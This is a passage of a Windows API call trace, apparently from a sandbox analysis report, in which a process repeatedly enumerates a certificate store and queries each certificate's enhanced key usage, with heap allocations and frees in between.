pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d200, pcbUsage=0x9ba874 | out: pUsage=0x334d200, pcbUsage=0x9ba874) returned 1 [0081.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d200 | out: hHeap=0x2ad0000) returned 1 [0081.656] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0081.656] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d660, pcbUsage=0x9ba874 | out: pUsage=0x334d660, pcbUsage=0x9ba874) returned 1 [0081.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d660 | out: hHeap=0x2ad0000) returned 1 [0081.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a197a8, Size=0x8c) returned 0x2ac0ad8 [0081.656] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cd00, pcbUsage=0x9ba874 | out: pUsage=0x334cd00, pcbUsage=0x9ba874) returned 1 [0081.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cd00 | out: hHeap=0x2ad0000) returned 1 [0081.656] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.656] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.657] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24b40 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x2a20288, pcbUsage=0x9ba874 | out: pUsage=0x2a20288, pcbUsage=0x9ba874) returned 1 [0081.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0081.657] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24b90 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0081.657] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.657] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d10b0, pcbUsage=0x9ba874 | out: pUsage=0x33d10b0, pcbUsage=0x9ba874) returned 1 [0081.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d10b0 | out: hHeap=0x2ad0000) returned 1 [0081.658] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.658] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.658] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1740, pcbUsage=0x9ba874 | out: pUsage=0x33d1740, pcbUsage=0x9ba874) returned 1 [0081.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1740 | out: hHeap=0x2ad0000) returned 1 [0081.658] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.658] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.658] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x334cb20, pcbUsage=0x9ba874 | out: pUsage=0x334cb20, pcbUsage=0x9ba874) returned 1 [0081.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cb20 | out: hHeap=0x2ad0000) returned 1 [0081.658] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.658] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a1ad48, pcbUsage=0x9ba874 | out: pUsage=0x2a1ad48, pcbUsage=0x9ba874) returned 1 [0081.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0081.659] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f6ba0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ba0, pcbUsage=0x9ba874) returned 1 [0081.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ba0 | out: hHeap=0x2ad0000) returned 1 [0081.659] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d520, pcbUsage=0x9ba874 | out: pUsage=0x334d520, pcbUsage=0x9ba874) returned 1 [0081.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d520 | out: hHeap=0x2ad0000) returned 1 [0081.659] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x325f2f0 [0081.659] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b40 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.659] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f6d20, pcbUsage=0x9ba874 | out: pUsage=0x33f6d20, pcbUsage=0x9ba874) returned 1 [0081.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d20 | out: hHeap=0x2ad0000) returned 1 [0081.660] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24b90 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x2a1ac30, pcbUsage=0x9ba874 | out: pUsage=0x2a1ac30, pcbUsage=0x9ba874) returned 1 [0081.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0081.660] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0081.660] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24be0 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x33f6320, pcbUsage=0x9ba874 | out: pUsage=0x33f6320, pcbUsage=0x9ba874) returned 1 [0081.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6320 | out: hHeap=0x2ad0000) returned 1 [0081.660] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24be0) returned 0x3e24910 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.660] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6ba0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ba0, pcbUsage=0x9ba874) returned 1 [0081.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ba0 | out: hHeap=0x2ad0000) returned 1 [0081.661] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b90 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0081.661] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1920, pcbUsage=0x9ba874 | out: pUsage=0x33d1920, pcbUsage=0x9ba874) returned 1 [0081.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1920 | out: hHeap=0x2ad0000) returned 1 [0081.661] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.661] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x35b9550, pcbUsage=0x9ba874 | out: pUsage=0x35b9550, pcbUsage=0x9ba874) returned 1 [0081.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9550 | out: hHeap=0x2ad0000) returned 1 [0081.661] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.662] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1650, pcbUsage=0x9ba874 | out: pUsage=0x33d1650, pcbUsage=0x9ba874) returned 1 [0081.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1650 | out: hHeap=0x2ad0000) returned 1 [0081.662] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cbc0, pcbUsage=0x9ba874 | out: pUsage=0x334cbc0, pcbUsage=0x9ba874) returned 1 [0081.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cbc0 | out: hHeap=0x2ad0000) returned 1 [0081.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f2f0, Size=0xe8) returned 0x33d0fc0 [0081.662] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b40 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.662] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x2c375e8, pcbUsage=0x9ba874 | out: pUsage=0x2c375e8, pcbUsage=0x9ba874) returned 1 [0081.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c375e8 | out: hHeap=0x2ad0000) returned 1 [0081.663] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.663] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.663] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d480, pcbUsage=0x9ba874 | out: pUsage=0x334d480, pcbUsage=0x9ba874) returned 1 [0081.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d480 | out: hHeap=0x2ad0000) returned 1 [0081.664] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334cc60, pcbUsage=0x9ba874 | out: pUsage=0x334cc60, pcbUsage=0x9ba874) returned 1 [0081.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cc60 | out: hHeap=0x2ad0000) returned 1 [0081.664] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x334ce40, pcbUsage=0x9ba874 | out: pUsage=0x334ce40, pcbUsage=0x9ba874) returned 1 [0081.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ce40 | out: hHeap=0x2ad0000) returned 1 [0081.664] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.664] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.665] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1b00, pcbUsage=0x9ba874 | out: pUsage=0x33d1b00, pcbUsage=0x9ba874) returned 1 [0081.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1b00 | out: hHeap=0x2ad0000) returned 1 [0081.665] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d020, pcbUsage=0x9ba874 | out: pUsage=0x334d020, pcbUsage=0x9ba874) returned 1 [0081.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d020 | out: hHeap=0x2ad0000) returned 1 [0081.665] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d840, pcbUsage=0x9ba874 | out: pUsage=0x334d840, pcbUsage=0x9ba874) returned 1 [0081.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d840 | out: hHeap=0x2ad0000) returned 1 [0081.665] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.665] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.666] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.666] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x35b9628, pcbUsage=0x9ba874 | out: pUsage=0x35b9628, pcbUsage=0x9ba874) returned 1 [0081.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9628 | out: hHeap=0x2ad0000) returned 1 [0081.666] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.666] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.666] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0fc0, Size=0x120) returned 0x2c375e8 [0081.667] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6420, pcbUsage=0x9ba874 | out: pUsage=0x33f6420, pcbUsage=0x9ba874) returned 1 [0081.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6420 | out: hHeap=0x2ad0000) returned 1 [0081.667] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1470, pcbUsage=0x9ba874 | out: pUsage=0x33d1470, pcbUsage=0x9ba874) returned 1 [0081.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1470 | out: hHeap=0x2ad0000) returned 1 [0081.667] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d520, pcbUsage=0x9ba874 | out: pUsage=0x334d520, pcbUsage=0x9ba874) returned 1 [0081.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d520 | out: hHeap=0x2ad0000) returned 1 [0081.667] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.667] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.668] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1560, pcbUsage=0x9ba874 | out: pUsage=0x33d1560, pcbUsage=0x9ba874) returned 1 [0081.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1560 | out: hHeap=0x2ad0000) returned 1 [0081.668] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x36a8f18, pcbUsage=0x9ba874 | out: pUsage=0x36a8f18, pcbUsage=0x9ba874) returned 1 [0081.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a8f18 | out: hHeap=0x2ad0000) returned 1 [0081.668] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.668] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cd00, pcbUsage=0x9ba874 | out: pUsage=0x334cd00, pcbUsage=0x9ba874) returned 1 [0081.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cd00 | out: hHeap=0x2ad0000) returned 1 [0081.669] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, 